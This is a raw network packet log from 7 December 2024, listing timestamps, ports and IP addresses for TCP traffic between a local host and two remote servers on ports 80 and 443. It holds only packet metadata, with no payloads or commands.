Dec 7, 2024 00:15:52.602947950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.603053093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.603857040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.603959084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.603981018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.604094028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.604861975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.604958057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.605026007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.605026007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.605828047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.605964899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.606024027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.606847048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.606939077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.606942892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.607817888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.607934952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.607954979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.608238935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.608824015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.608947992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.608999968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.608999968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.609390020 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.609410048 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.609487057 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.609498978 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.609527111 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.609713078 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.609810114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.609941006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.610176086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.610821009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.610882044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.610913038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.611094952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.611840963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.611957073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.611957073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.612004995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.612798929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.612907887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.612941027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.613132954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.613786936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.613890886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.613909960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.614095926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.614814997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.614900112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.614957094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.615797997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.615852118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.615940094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.615983963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.616769075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.616898060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.617106915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.617816925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.617995024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.618175030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.618351936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.618772030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.618908882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.619164944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.619755030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.619888067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.619891882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.619976044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.620774984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.620882034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.620968103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.621726990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.621762991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.621853113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.622009993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.622771978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.622881889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.622912884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.623728991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.623845100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.623871088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.624202013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.624752998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.624850988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.624991894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.625713110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.625828981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.625859976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.626729012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.626811981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.626836061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.627235889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.627724886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.627825975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.627852917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.628139019 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.628158092 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.628206968 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.628207922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.628218889 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.628249884 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.628339052 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.628710985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.628834009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.629098892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.629847050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.629863024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.629915953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.629915953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.630728006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.630808115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.630817890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.630893946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.631680965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.631810904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.631858110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.632687092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.632790089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.632812023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.633147001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.633681059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.633759022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.640146971 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.640186071 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.640245914 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.640253067 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.640304089 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.640304089 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.650247097 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.650285959 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.650386095 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.650386095 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.650402069 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.650470018 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.651488066 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.651520967 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.651549101 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.651556015 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.651597023 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.651597023 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.657893896 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.657910109 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.657996893 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.658003092 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.658149958 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.662065983 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.662087917 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.662256956 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.662266016 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.662342072 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.664851904 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.664868116 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.665189981 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.665200949 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.665349007 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.672816992 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.672836065 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.673101902 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.673108101 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.673217058 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.680634022 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.680650949 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.680797100 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.680803061 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.680901051 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.682535887 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.682554007 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.682729959 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.682742119 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.683011055 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.688136101 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.688154936 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.688302040 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.688308001 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.688404083 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.696002960 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.696022034 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.696268082 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.696273088 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.696444035 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.703042984 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.703063965 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.703337908 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.703344107 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.703411102 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.757129908 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.757196903 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.757302046 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.757302046 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.757322073 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.757736921 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.768430948 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.768477917 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.768578053 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.768587112 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.768613100 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.768711090 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.773797989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.773946047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.773964882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.774081945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.774343967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.774561882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.774589062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.774735928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.775100946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.775485992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.775629044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.775655985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.776448965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.776563883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.776565075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.776638985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.777196884 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.777215958 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.777390003 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.777398109 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.777468920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.777493000 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.777561903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.777693987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.778568029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.778744936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.778887987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.779059887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.779469967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.779541969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.779827118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.780435085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.780576944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.780592918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.780670881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.781407118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.781523943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.781611919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.781790972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.782450914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.782603025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.782788992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.783407927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.783534050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.783544064 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.783672094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.784419060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.784507036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.784527063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.784593105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.785410881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.785495043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.785599947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.785686970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.786412954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.786557913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.786791086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.786942959 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.786963940 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.787091017 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.787097931 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.787242889 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.787409067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.787513018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.787558079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.787558079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.788382053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.788486958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.788491011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.789376974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.789484978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.789530993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.789602995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.790575981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.790587902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.790863037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.791415930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.791481018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.791533947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.792360067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.792454958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.792464018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.792587996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.793345928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.793448925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.793514967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.794354916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.794481039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.794667006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.795408964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.795409918 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.795419931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.795429945 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.795484066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.795485973 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.795491934 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.795520067 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.795517921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.795639038 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.796341896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.796444893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.796468973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.797466040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.797477961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.797569990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.798325062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.798458099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.798485994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.799360037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.799416065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.799441099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.799551964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.800345898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.800458908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.800482035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.801312923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.801441908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.801464081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.801599979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.802326918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.802417040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.802438021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.802752018 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.802792072 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.802834034 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.802834988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.802839041 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.802865028 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.802902937 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.803363085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.803458929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.803469896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.803548098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.804282904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.804394960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.804446936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.805278063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.805409908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.805433035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.805646896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.806313038 CET	80	49823	185.215.113.206	192.168.2.6
